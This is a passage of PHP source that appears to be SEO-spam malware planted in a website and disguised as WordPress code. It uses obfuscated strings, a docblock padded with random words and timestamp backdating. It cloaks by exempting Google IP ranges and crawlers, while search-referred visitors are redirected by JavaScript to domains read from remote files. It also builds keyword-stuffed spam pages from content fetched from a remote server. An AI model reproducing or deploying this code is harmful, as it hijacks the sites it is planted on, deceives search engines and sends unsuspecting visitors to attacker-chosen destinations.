			$arrUrlId[$rqurl] = getRandCId($rqurl);
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}
	}else{
		
	
	$id = "77051"; //llq index id 
	
	}

}

$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	http_response_code(404);
	exit;
}
$id23 = $id;



$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
	$referer = $_SERVER["HTTP_REFERER"]; 
	$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';	

	$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') ); 
	$localIp = get_real_ip();	
	$is_or_no = is_ip($localIp,$ipRanges);
	$iszz = isCrawler();	
	
	if(function_exists('gethostbyaddr')){
		$hostname = @gethostbyaddr($localIp);
		$is_g_ip = preg_match("#google#i", "$hostname") === 1;
	}else{
		$is_g_ip = 0;
	}
	
	if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
		$rsdom = '#^https?://www\.[^/]+/$#i';
		
		$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";	
		$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$jumstz = curl_getjs_from_webpage($jums1,2);
			$jumstz = trim($jumstz);

			if(!preg_match($rsdom,$jumstz)){
				$jumstz = curl_getjs_from_webpage($jums2,10);
			
				$jumstz = trim($jumstz);
				if(preg_match($rsdom,$jumstz))
					break;
			}else{
				break;
			}
		}
		
		echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();	
	}
}
 
 
 $fcontent = '';
 
 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 exit;
 }
 

 
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];

if(strstr($Ptitle,'#cat#')){
	$tp_title_arr = explode('#cat#',$Ptitle);
	$Ptitle = $tp_title_arr[1];
}

$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];


if(strstr($pcatstr,'#cname#')){
	$temparrI = explode('#cname#',$pcatstr);
	$catStr = $temparrI[0];
	$catArr = explode('^',$catStr);
	$tparrCat = array();
	$catArrII = array();
	foreach($catArr as $vs){
		$vs = str_replace('&amp;','&',$vs);
		if(!isset($tparrCat[$vs])){
			$tparrCat[$vs] = 1;
			$catArrII[] = $vs;
		}
	}

	$catArr = $catArrII;
	
	$mateStr = $temparrI[1];
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = trim($temparrII[0]);
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
		
	}else{
		$pkeyword = $Ptitle;
	
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}else{
	$catArr = array();
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = $temparrII[0];
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
	}else{
		$pkeyword = $Ptitle;
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}


$tpKeyStrCat = -1;
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid);

if(count($catArr)){
	$endCatName = end($catArr);
	$beginCatName = $catArr[0];
	$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
	$beginCatName = '';
	$endCatName = '';
}

if(function_exists("preg_split")){
	$PtitleArr = preg_split('/\s+/us', $Ptitle);		
}else{
	$PtitleArr = explode(' ', $Ptitle);
}

$tpTitleArr = array();
foreach($PtitleArr as $vs){
	$vs = trim($vs);
	if($vs){
		$tpTitleArr[] = $vs;
	}
}



$numTitleArr = count($tpTitleArr);


$randTkeyI =  RANDNUMI % $numTitleArr;

$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);

$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
	$randTkeyII = abs($randTkeyI-2);
}

$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);


$addTopStr = '';
$addTopStr .= $BreadStr.PHP_EOL;
$addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL;


$addStrII = '';

if(isset($InFoStrArr['pdes'])){
	$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
	$addStrII .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}

$addStrII .= "<h2>{$Ptitle}</h2>";

if(isset($InFoStrArr['nowPimgArr'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
	foreach($tpImgArr as $tpimg){
		$addStrII .= $tpimg."<br/>".PHP_EOL;
	}
}

$addTopStr .= $addStrII;



$tpaddstr = '';
$tpaddstr .= "<h2>{$Ptitle}</h2>".PHP_EOL;

$tpaddstr .= '<p>';
$tpaddstr .= '###nowtitles###,';
$tpaddstr .= $createTitleI .',';
$tpaddstr .= $pdescription.' ';
$tpaddstr .= $createTitleII . ' '. $thisdom .'.</p>';


if(isset($InFoStrArr['nowPimgArrYs'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
	foreach($tpImgArr as $tpimg){
		$tpaddstr .= $tpimg."<br/>".PHP_EOL;
	}
}



$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid,$vs);
	
	if(strstr($vs,'#cat#')){
		$tp_name_arr = explode('#cat#',$vs);
		$vs = $tp_name_arr[1];
	}
	
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;

if(isset($fr2Arr)){
	$fr2Strs = '<ul>'.PHP_EOL;
	foreach($fr2Arr as $key=>$vs){
		$tpPid = $key;
		$tpFlink = getalink($tpPid,$vs);
		
		
		if(strstr($vs,'#cat#')){
			$tp_name_arr = explode('#cat#',$vs);
			$vs = $tp_name_arr[1];
		}
		
		$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	}
	$fr2Strs .= '</ul>'.PHP_EOL;
}


$addPdesStrII = '';
$addPdesStrII .= "<h3>{$Ptitle}</h3>".PHP_EOL;



$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
	
	$Random =  (KEYJG + $id23)  % 3 + 3;

	
	$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}

	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			$tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			
			
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
	while($nowTempFlag <= $lenthFlinkArr-1){
		$nowTempFlag++;
		$tempDesNameArr[] = "<b>{$Ptitle}</b>";
	}
	
	
	$tpDesNameArr = $tempDesNameArr;
	$tempArrLen = count($tpDesNameArr) - 1;
	
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
		
		
		
		if($i == $tempArrLen){
			$addStrDes1 .= $tpdesVs . '.';
			// echo $addStrDes1;
			// exit;
		}else{
			$addStrDes1 .= $tpdesVs . $nowtempfh;
		}
		$i++;
		
	}
		
	$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;

	
}

$addPdesStrII .= $addStrDes1.PHP_EOL;






$addPdesStr = '';

$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
	
	$Random =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;

	
	$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
	$tempArrLen = count($tpDesNameArr) - 1;
	$temp_arr = array();
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		if(strstr($tpdesVs,'#cat#')){
			$tp_name_arr = explode('#cat#',$tpdesVs);
			$tpdesVs = $tp_name_arr[1];
		}
		
		$temp_arr[$tpdesKey] = $tpdesVs;
		
	}
	$tpDesNameArr = $temp_arr;
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}
	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
		while($nowTempFlag <= $lenthFlinkArr-1){
			$nowTempFlag++;
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
		}
	

	$tpDesNameArr = $tempDesNameArr;
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
	
		
		if($i == $tempArrLen){
			$addStrDesII .= $tpdesVs . '.';
		}else{
			$addStrDesII .= $tpdesVs . $nowtempfh;
		}
		$i++;
			
	}
		
	$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;

}




$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;




$addH3Str = "<h3>{$Ptitle}</h3>";
 
 $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
 $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
 
 $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';

$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;

		$fileMb = fopen("template.html","r");
			$html = fread($fileMb,filesize("template.html"));	

			$numBz = 0;

			$titleKeys = KEYJG % 6;
			
			
		
			
			$catUseKey = (KEYJG + $id23) % count($catArr);
			$catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr);
			if($catUseKey == $catUseKeyTwo)
				$catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
			
			if(preg_match('#.*\.(.*)\..*#i',$thisdom))
				$usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom);
			else
				$usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom);
			
			
			$titlePosition = (KEYJG + $id23) % 6;
			
			if($titlePosition == 0)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey];
			elseif($titlePosition == 1)
				$nowShowTitle = $catArr[$catUseKey] .' '. $Ptitle .' '. $catArr[$catUseKeyTwo];
			elseif($titlePosition == 2)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey];
			elseif($titlePosition == 3)
				$nowShowTitle = $catArr[$catUseKey] .' '. $catArr[$catUseKeyTwo] .' '. $Ptitle;
			elseif($titlePosition == 4)
				$nowShowTitle = $catArr[$catUseKeyTwo] .' '. $Ptitle .' '. $catArr[$catUseKey];
			elseif($titlePosition == 5)
				$nowShowTitle = $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey] .' '. $Ptitle;
			
			
		
			$addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
			$tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
			
			$html = str_ireplace('draft_or_post_title',  $nowShowTitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);	
			$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);	
			
			$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
			// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			
			
			
			$addPdesStrII = $addPdesStrII."<br/>". PHP_EOL . $fr1Strs;
			$tempStr = $addPdesStrII;
			$addPdesStrII = $addPdesStr;
			$addPdesStr = $tempStr;
		
			if(strstr($html,'#link3#'))
			if($flagH2I){
					$html = str_replace('#link3#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}else{
					$html = str_replace('#link3#','',$html);
				}
				
				
							
			if(strstr($html,'#flink#'))
				if($flagH2I){
					$html = str_replace('#flink#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#flink#',$addPdesStr, $html);
					$flagH2II = 0;
				}else{
					$html = str_replace('#flink#','',$html);
				}
				
				
				
			if(strstr($html,'#link4#'))
				if($flagH2I){
					$html = str_replace('#link4#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link4#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link4#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link4#','',$html);
				}
				
				
			if(strstr($html,'#link5#'))
				if($flagH2I){
					$html = str_replace('#link5#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link5#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link5#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link5#','',$html);
				}
	
				
				
				if(strstr($html,'#Flink2#'))
				if($flagH2I){
					$html = str_replace('#Flink2#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#Flink2#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#Flink2#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#Flink2#','',$html);
				}
						
				
			$lastAddStrs = '';
			
			if($flagH2I){
				$lastAddStrs .= $addPdesStrII  . PHP_EOL;
			}
			
			if($flagH2II){
				$lastAddStrs .= $addPdesStr. PHP_EOL;
			}
			
			if($lastAddStrs){
				$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
			}
				
				
			$html = str_ireplace('#bbb2content2bbb#', '', $html);
			$html = str_ireplace('#descontent#', $tpaddstr, $html);
				
			$html = str_replace('#link1#','',$html);
			$html = str_replace('#link2#','',$html);
				

	
			$footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription} {$thisdom}<br/><strong>{$Ptitle} {$thisdom}</strong>".PHP_EOL;
				$html = str_replace('</body',$footKey.'</body',$html);

		
	echo $html;
 
die();


	
/**
 * appeal approve arichmetic breadth calculate comparative decade defect domestic emotional global ingredient liberty mainland nylon optics petrol phenomenon removal restrict revenue territory violent.
 * brake clue decline distress drift duration exclaim expenditure lean obscure oral priority shield spray stimulate suspicion tend usage.
 * adult compete decent dump gesture interpret portion principle sake sponsor target triangle via.
 * applicant calculate column dumb extinct genius haste inferior mere mission moral necessity petrol prevail recruit respond secure shelter smash suspicious videotape virtual.
 * blast capture delay diverse durable gap hatred horror insure jeans leak moral neglect oral ridid sensitive significance submit transport vibrate vocabulary.
 * evolve exclude favorable luxury minimum oxygen participate.
 * device explore focus index venture violence.
 * cope descend previous primitive survey variation.
 * abundant germ jam prosperity wonder.
 * approve commit debate domestic dumb duration encounter female grand jeans leather manufacture medium nonsense obscure oral parallel pat principle relevant retail venture.
 * absolute consistent debt decent decorate fate harmony impose leak region repetition resume slippery sophisticated usage.
 * academy adopt agent boundary decent dump dusk earthquake expand extreme glory laser manual obscure origin ridge sake spray suburb temple tropical wealthy.
 * comparable expense guarantee liquor mature motivate nevertheless particularly render scandal semester slide survey temple.
 * arise decade garbage obscure.
 * campus delay earthquake garbage holy household regulate utilise vibrate vote.
 * bacteria burst deserve equivalent exclusive grand mainland marine oblige prospect reject respond solar urban via vital.
 * biology distress satellite tone unique vary.
 * adequate authority conquer erect exterior hostile illusion optics peak quit seminar vessel.
 * chaos exclusive extreme flash forbid navigation principle religious secure semiconductor tendency.
 * arise guilty religious resistant shield shuttle unique.
 * acquire alter attitude comedy interfere jungle tedious virus wealthy weed.
 * aspect available constant holy negative rescue triangle valid vivid.
 * acid award bachelor ceremony comedy erect frown golf individual infinite optional origin oval removal resume sophisticated stripe terror vital vivid waist zone.
 * appoint device dump emotion essential evaluate garbage incident insignificant motivate racial scale wax.
 * adequate career discount entertainment extinct luxury moist partial shrink stale violent.
 * acid beforehand cancel devise discrimination durable duration fatigue gene luxury poverty region sake universe variation video whereas.
 *
 * @package WordPress
 */


function getRandStrArr($tpArr=array(),$bgKey=0){
	
	$returnStr = '';
	$numArr = count($tpArr);
	for($i=$bgKey+1;$i<$numArr;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	for($i=0;$i<=$bgKey;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	return trim($returnStr);

}


function getBreadcrum($Ptitle,$catArr,$id23,$pname){

	global $arrBread,$thisdom;
	
	$breadTagkey = KEYJG % 6;
	if($breadTagkey == 0){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ul';
	}elseif($breadTagkey == 1){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 2){
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 3){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 4){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ul';
	}else{
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ul';
	}
	
	// $catstr = implode(' >> ',$catArr);

	// $catArr= array();
	// if($catstr)
		// $catArr[] = $catstr;

	$arrBreadNum = count($arrBread);
	$domlen = strlen($thisdom);


	$breadTagkey = $domlen % 5;
	
	$liClassYs = KEYJG % 19;
	
	if($liClassYs == 0){
		$liStr = ' class="item"';
	}elseif($liClassYs == 1){
		$liStr = ' class="breadcrumbs-item"';
	}elseif($liClassYs == 2){
		$liStr = ' class="nz-breadcrumb-item"';
	}elseif($liClassYs == 3){
		$liStr = ' class="items"';
	}elseif($liClassYs == 4){
		$liStr = ' class="breadcrumblist-items"';
	}elseif($liClassYs == 5){
		$liStr = ' class="el-breadcrumb-item"';
	}elseif($liClassYs == 6){
		$liStr = ' class="doc-crumb-item"';
	}elseif($liClassYs == 7){
		$liStr = ' class="breadcrumb-item"';
	}elseif($liClassYs == 8){
		$liStr = ' class="crumbs-item"';
	}elseif($liClassYs == 9){
		$liStr = ' class="bread-item"';
	}elseif($liClassYs == 10){
		$liStr = ' class="breads-item"';
	}elseif($liClassYs == 11){
		$liStr = ' class="breadcrumbItem"';
	}elseif($liClassYs == 12){
		$liStr = ' class="breadcrumbItems"';
	}elseif($liClassYs == 13){
		$liStr = ' class="breadcrumblistitems"';
	}elseif($liClassYs == 14){
		$liStr = ' class="BreadcrumbItem"';
	}elseif($liClassYs == 15){
		$liStr = ' class="ListItem"';
	}elseif($liClassYs == 16){
		$liStr = ' class="crumb-items"';
	}else{
		$liStr = '';
	}
	

	$arrBreadId = array();
	$arrBreadId[] = 'Bread';
	$arrBreadId[] = 'BreadHead';
	$arrBreadId[] = 'Breadcrumb';
	$arrBreadId[] = 'Breadcrumb-Head';
	$arrBreadId[] = 'Breadcrumb-Heads';
	$arrBreadId[] = 'Breadcrumb-Top';
	$arrBreadId[] = 'BreadcrumbHeads';
	$arrBreadId[] = 'BreadcrumbLists';
	$arrBreadId[] = 'BreadcrumbNavigation';
	$arrBreadId[] = 'BreadcrumbTop';
	$arrBreadId[] = 'BreadcrumbTops';
	$arrBreadId[] = 'MyBreadcrumb';
	$arrBreadId[] = 'ant-breadcrumb';
	$arrBreadId[] = 'bread-List';
	$arrBreadId[] = 'breadtop';
	$arrBreadId[] = 'breadtops';
	$arrBreadId[] = 'breadHead';
	$arrBreadId[] = 'breadHeads';
	$arrBreadId[] = 'breadList';
	$arrBreadId[] = 'breadLists';
	$arrBreadId[] = 'breadcrumb';
	$arrBreadId[] = 'c-breadcrumb';
	$arrBreadId[] = 'crumbList';
	$arrBreadId[] = 'crumb-list';
	$arrBreadId[] = 'crumbs';
	$arrBreadId[] = 'crumbsHead';
	$arrBreadId[] = 'crumbsHeads';
	$arrBreadId[] = 'crumbs-head';
	$arrBreadId[] = 'crumbs-nag';
	$arrBreadId[] = 'crumbsTop';
	$arrBreadId[] = 'crumbsTops';
	$arrBreadId[] = 'crumbs-top';
	$arrBreadId[] = 'cs-breadcrumb';
	$arrBreadId[] = 'customBreadcrumb';
	$arrBreadId[] = 'doc-crumb';
	$arrBreadId[] = 'el-breadcrumb';
	$arrBreadId[] = 'l-breadcrumb';
	$arrBreadId[] = 'navBreadCrumb';
	$arrBreadId[] = 'navBreadCrumbs';
	$arrBreadId[] = 'page-breadcrumbs';
	$arrBreadId[] = 'pages-breadcrumbs';
	$arrBreadId[] = 's-breadcrumb';
	$arrBreadId[] = 'v-breadcrumb';
	$arrBreadId[] = 'chrome-breadcrumbs';
	
	
	$keyBreadId = KEYJG % 48;
	
	if(isset($arrBreadId[$keyBreadId])){
		$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
	}else{
		$keyBreadIdStr = '';
	}
	


	$strBreads = '';
	if($breadTagkey == 4){
		$arrBreadC1 = array();
		$arrBreadC1[] = 'BreadcrumbData';
		$arrBreadC1[] = 'BreadcrumbDatas';
		$arrBreadC1[] = 'BreadcrumbTop';
		$arrBreadC1[] = 'crumbsHead';
		$arrBreadC1[] = 'crumbsTop';
		$arrBreadC1[] = 'crumbsList';
		$arrBreadC1[] = 'crumbs-top';
		$arrBreadC1[] = 'crumbs-list';
		$arrBreadC1[] = 'crumbs-Head';
		$arrBreadC1[] = 'BreadcrumbTag';
		$arrBreadC1[] = 'Breadcrumb-tag';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'Breadcrumb-Top';
		$arrBreadC1[] = 'Breadcrumb-body';
		$arrBreadC1[] = 'BreadcrumbTops';
		$arrBreadC1[] = 'Breadcrumb-Head';
		$arrBreadC1[] = 'Breadcrumb-Heads';
		$arrBreadC1[] = 'Breadcrumb-List';
		$arrBreadC1[] = 'BreadcrumbList';
		$arrBreadC1[] = 'BreadcrumbLists';
		
		$ckeyI = KEYJG % count($arrBreadC1);
		
		$classI =  $arrBreadC1[$ckeyI];
		$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
		
		$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
		$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
		$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
		if(count($catArr)){
			foreach($catArr as $vs){
				$vs = trim($vs);
				$nowCatUrl = getCatLink($vs,$id23);
				$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
			}
		}
		
		$nowUrl = getalink($id23,$pname);	
		$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
		// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
		$strBreads .= '</'.$breadTagHtml2.'>';
		$strBreads .= '</'.$breadTagHtml1.'>';
	}else{
		$calssBreadKey = KEYJG % $arrBreadNum;
		$classTop = $arrBread[$calssBreadKey];
		$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
		$breadTagkey = $domlen % 2;

		if($breadTagkey == 0){
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
			$flagNum = 2;
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
